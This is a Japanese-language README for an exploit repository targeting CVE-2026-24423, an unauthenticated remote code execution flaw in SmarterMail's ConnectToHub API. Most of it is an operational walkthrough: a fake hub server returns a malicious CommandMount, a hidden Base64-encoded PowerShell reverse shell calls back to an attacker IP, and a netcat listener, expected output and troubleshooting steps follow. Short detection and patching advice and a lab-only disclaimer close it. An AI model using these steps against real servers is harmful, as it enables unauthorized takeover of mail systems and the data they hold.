
CVE-2026-24423 のエクスプロイト — SmarterMail の ConnectToHub API における重大な未認証 RCE。ビルド 9511 より前のすべてのビルドに影響します。
CVE-2026-24423 を悪用するPythonベースのエクスプロイトです。SmarterTools SmarterMail の ConnectToHub 機能における認証なしリモートコード実行(RCE)の脆弱性を対象としています。
想定用途: 許可されたセキュリティテスト、CTF、Hack The Box ラボ、管理された研究環境のみ。
CVE-2026-24423 は、SmarterTools SmarterMail に影響を与える認証なしリモートコード実行の脆弱性です。
この脆弱性は ConnectToHub 機能に存在します。認証されていない攻撃者が悪意のある hubAddress を提供することで、SmarterMail サーバーが攻撃者が制御するサーバーに対して HTTP リクエストを送信させることができます。
悪意のあるサーバーは、制御された SystemMount.CommandMount 値を含む細工された setup-initial-connection レスポンスで応答します。
影響を受ける SmarterMail インスタンスは、その後この値をオペレーティングシステムのコマンドとして処理し、SmarterMail サービスのセキュリティコンテキストで任意のコマンド実行を可能にします。
この脆弱性には CVSS 4.0 スコア 9.3(Critical) が割り当てられ、CWE-306: 重要な機能に対する認証の欠如 に分類されています。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-24423 |
| ベンダー | SmarterTools |
| 製品 | SmarterMail |
| 脆弱性 | 認証なしリモートコード実行 |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Critical |
| CVSS v3.1 | 9.8 Critical |
| 攻撃ベクトル | ネットワーク |
| 認証 | 不要 |
| ユーザー操作 | 不要 |
| 複雑さ | 低 |
| 公開日 | 2026年1月23日 |
| 修正ビルド | 9511 |
公式の CVE レコードは、この問題を ConnectToHub API メソッドを介した認証なし RCE として説明しています。
ビルド 9511 より前 の SmarterMail バージョンが影響を受けます。
CVE レコードは影響範囲を次のように指定しています:
SmarterMail < 100.0.9511
2026年1月15日にリリースされたビルド 9511 には、ベンダーの修正が含まれています。
< 100.0.9511
>= 100.0.9511
脆弱性を再現しようとする前に、常にインストールされている正確なビルドを確認してください。
脆弱な機能は SmarterMail システム管理 API を通じて公開されています。
関連する操作は次のとおりです:
/api/v1/settings/sysadmin/connect-to-hub
このエンドポイントは hubAddress パラメータを受け入れます。
概念的には、攻撃者は次のものを提供できます:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail は提供されたハブアドレスに接続し、次のものを要求します:
/web/api/node-management/setup-initial-connection
攻撃者が制御するサーバーは、悪意のある SystemMount オブジェクトを含む JSON で応答します。
重要なプロパティは次のとおりです:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
CommandMount 値は、その後、影響を受けるアプリケーションによってオペレーティングシステムのコマンドとして使用されます。
これにより、攻撃者は次の状態から遷移できます:
認証なし HTTP リクエスト
から:
リモートコマンド実行
VulnCheck の技術分析により、攻撃者が制御する hubAddress によって SmarterMail が攻撃者の setup-initial-connection エンドポイントを要求し、返された CommandMount が任意のコマンド実行を提供できることが確認されています。
このエクスプロイトは2つのコンポーネントで構成されています:
Python サーバーは次のものをリッスンします:
POST /web/api/node-management/setup-initial-connection
そして、悪意のある SystemMount.CommandMount を含む細工された JSON レスポンスを返します。
別の TCP リスナーが、ターゲット上で実行されたコマンドによって開始された接続を受信します。
このエクスプロイトは意図的に2つの別々のポートを使用します。
8081
└── 偽の SmarterMail ハブ
4455
└── リバースシェルリスナー
flowchart LR
A[攻撃者<br/>10.10.14.50]
H[偽の SmarterMail ハブ<br/>TCP/8081]
T[SmarterMail ターゲット<br/>10.129.57.86]
C[CommandMount<br/>コマンド実行]
P[PowerShell]
L[リバースシェルリスナー<br/>TCP/4455]
A -->|ConnectToHub をトリガー| T
T -->|HTTP POST| H
H -->|悪意のある JSON| T
T -->|CommandMount| C
C --> P
P -->|リバース TCP| L
L --> Aターゲット
|
| HTTP
v
10.10.14.50:8081
ターゲット
|
| TCP
v
10.10.14.50:4455
これらのポートは異なる目的を果たすため、混同しないでください。
このエクスプロイトは Python 標準ライブラリのモジュールのみを使用します:
http.server
json
base64
外部の Python パッケージは必要ありません。
次の変数を編集します:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
HTB 環境の例の場合:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST は、ターゲットが到達できる攻撃者の IP アドレスです。
Hack The Box の場合、これは通常 HTB VPN インターフェースに割り当てられた IP です:
ip addr show tun0
例:
tun0:
inet 10.10.14.50
したがって:
LHOST = "10.10.14.50"
LPORT は、攻撃者がリバース接続を受信するために使用する TCP ポートです。
例:
LPORT = 4455
HUB_PORT は、悪意のある SmarterMail ハブが使用する HTTP ポートです。
例:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
編集:
nano exploit.py
設定:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
ターミナルを開きます:
nc -lvnp 4455
期待される出力:
Listening on 0.0.0.0 4455
このターミナルは開いたままにしてください。
2つ目のターミナルを開きます:
python3 exploit.py
選択したポートへのバインドに昇格した権限が必要な場合:
sudo python3 exploit.py
期待される出力:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
脆弱な SmarterMail インスタンスに適切なリクエストを送信します。
指定する hubAddress は悪意のある HTTP サーバーを指している必要があります:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
重要な値は次のとおりです:
http://10.10.14.50:8081
リバースシェルポートをハブポートとして使用 しないで ください。
| 目的 | IP | ポート |
|---|---|---|
| 攻撃者 VPN | 10.10.14.50 | — |
| 偽の SmarterMail ハブ | 10.10.14.50 | 8081 |
| リバースシェル | 10.10.14.50 | 4455 |
| HTB ターゲット | 10.129.57.86 | — |
結果として得られるフローは次のとおりです:
hubAddress
↓
10.10.14.50:8081
↓
悪意のある CommandMount
↓
PowerShell
↓
10.10.14.50:4455
このエクスプロイトは PowerShell ペイロードを動的に作成します。
PowerShell の -EncodedCommand パラメータは、Base64 エンコーディングの前にコマンドが UTF-16LE でエンコードされていることを期待します。
スクリプトは次の処理を実行します:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
最終的なコマンドは次のように構成されます:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
これにより、ペイロードを手動でエンコードする必要がなくなり、一般的な UTF-8/UTF-16LE エンコーディングの間違いを防ぐことができます。
ターゲットが悪意のあるハブに到達すると:
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
リバースシェルリスナーはその後、接続を受信するはずです:
Connection received on 10.129.57.86 XXXXX
接続後、基本的な検証を実行できます:
whoami
hostname
サーバーがリッスンしているか確認します:
ss -lntp | grep 8081
VPN アドレスを確認します:
ip addr show tun0
LHOST がターゲットから到達可能なアドレスと一致していることを確認します。
HTTP リクエストが成功したということは、最初のステージが機能していることを意味します:
ターゲット
|
| HTTP
v
偽のハブ :8081
これは必ずしも2番目のステージが成功したことを意味するわけではありません。
確認:
ss -lntp | grep 4455
Netcat がエクスプロイトをトリガーする 前 に起動されていることを確認してください。
また、次のことを確認します:
LHOST = ターゲットから到達可能な攻撃者 IP
LPORT = リスナーポート
Netcat 内に次のものが表示される場合:
POST /web/api/node-management/setup-initial-connection
hubAddress をリバースシェルリスナーに向けています。
誤り:
hubAddress = http://10.10.14.50:4455
正しい:
hubAddress = http://10.10.14.50:8081
2つのポートは分離したままにする必要があります。
偽のハブが SmarterMail が期待する構造を返さない場合、400 レスポンスが発生する可能性があります。
レスポンスに次のものが含まれていることを確認します:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
また、要求されたパスが正確に次のとおりであることを確認します:
/web/api/node-management/setup-initial-connection
公開されている脆弱性分析では、このエンドポイントが脆弱な ConnectToHub フローの一部として特定されています。
HTB ラボのスクリーンショットをここに追加します。
例:

推奨スクリーンショット:

表示内容:
[+] Received SmarterMail connection
[+] Sending CommandMount payload

次のものを含むリクエストを表示:
{
"hubAddress": "http://10.10.14.50:8081"
}

表示内容:
Connection received on 10.129.57.86
および結果として得られるコマンドプロンプト。
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
悪用の可能性のある指標には、次のものへの予期しないリクエストが含まれます:
/api/v1/settings/sysadmin/connect-to-hub
および SmarterMail サーバーから以前は不明だった HTTP ホストへの送信接続。
管理者はまた、アプリケーション、IIS/リバースプロキシ、およびネットワークログで不審な ConnectToHub アクティビティを確認する必要があります。
CVE-2026-24423 は CISA の既知の悪用された脆弱性カタログに含まれており、ラボ環境以外でも悪用が観察されていることを示しています。
主な是正措置は、SmarterMail を ビルド 9511 以降 にアップグレードすることです。ベンダーの2026年1月15日のリリースでこの脆弱性に対処しました。
即時のパッチ適用が不可能な場合、組織はさらに次のことを検討する必要があります:
ConnectToHub リクエストがないか過去のログを確認する。このプロジェクトは 許可されたセキュリティ研究および教育目的のみ を目的として提供されています。
所有していない、またはテストする明示的な許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。
著者は、このソフトウェアの使用に起因する誤用、損害、データ損失、不正アクセス、その他の結果について一切の責任を負いません。
次のような管理された環境でのみ使用してください:
CVE-2026-24423 は次の人物に帰属します:
この CVE は 2026年1月23日に VulnCheck によって公開されました。